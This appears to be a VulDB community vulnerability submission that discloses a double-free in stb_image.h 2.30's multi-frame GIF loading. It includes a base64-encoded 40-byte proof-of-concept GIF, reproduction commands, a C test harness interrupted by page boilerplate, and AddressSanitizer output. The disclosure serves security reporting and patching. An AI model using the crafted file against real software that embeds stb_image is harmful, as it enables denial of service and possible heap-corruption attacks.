COMMUNITY CONTENT

Home › Submit › 780395

Submit #780395: nothings stb stb_image.h <= 2.30 Double Free

Title nothings stb stb_image.h <= 2.30 Double Free

Description A double-free vulnerability exists in stbi__load_gif_main() in stb_image.h v2.30.

When loading a multi-frame GIF, if STBI_REALLOC_SIZED() at line 6994 reallocates the output buffer (freeing the old allocation), and a subsequent realloc fails, stbi__load_gif_main_outofmem() at line 6958 calls STBI_FREE(out) on the already-freed
old pointer, resulting in a double-free.

Affected function: stbi__load_gif_main_outofmem() at stb_image.h:6958
Trigger path: stbi__load_gif_main() at stb_image.h:6996
Affected API: stbi_load_gif_from_memory()

Impact: crash (DoS), potential code execution via heap corruption

PoC

PoC file (40 bytes, base64):
R0lGODlhMDAAAIAwMDAwMDAwMCwAAAAAMDAAADAAACEwBDAwMDAALA==

Reproduction:
$ echo
'R0lGODlhMDAAAIAwMDAwMDAwMCwAAAAAMDAAADAAACEwBDAwMDAALA==' |
base64 -d > poc2.gif
$ clang -fsanitize=address -g repro.c -o repro -lm
$ ./repro poc2.gif

repro.c
```
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END);
    int len = ftell(f);
    fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(len);
    fread(buf, 1, len, f);
    fclose(f);
```

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

```
    int x, y, z, ch, *delays = NULL;
    unsigned char *data = stbi_load_gif_from_memory(buf, len, &delays, &x, &y, &z,
&ch, 0);
    if (data) free(data);
    if (delays) free(delays);
    free(buf);
}
```

ASAN output:

```
ERROR: AddressSanitizer: attempting double-free on 0x602000000030
    #0 free
    #1 stbi__load_gif_main_outofmem  stb_image.h:6958
    #2 stbi__load_gif_main           stb_image.h:6996
    #3 stbi_load_gif_from_memory     stb_image.h:1450
```

User dDrazi (UID 96474)

Submission 03/15/2026 09:53 AM (16 days ago)

Moderation 03/30/2026 09:18 PM (15 days later)

Status Accepted

VulDB entry VDB-... [Nothings stb up to 2.30 Multi-frame GIF File stb_image.h stbi__load_gif_main double free]

Points 17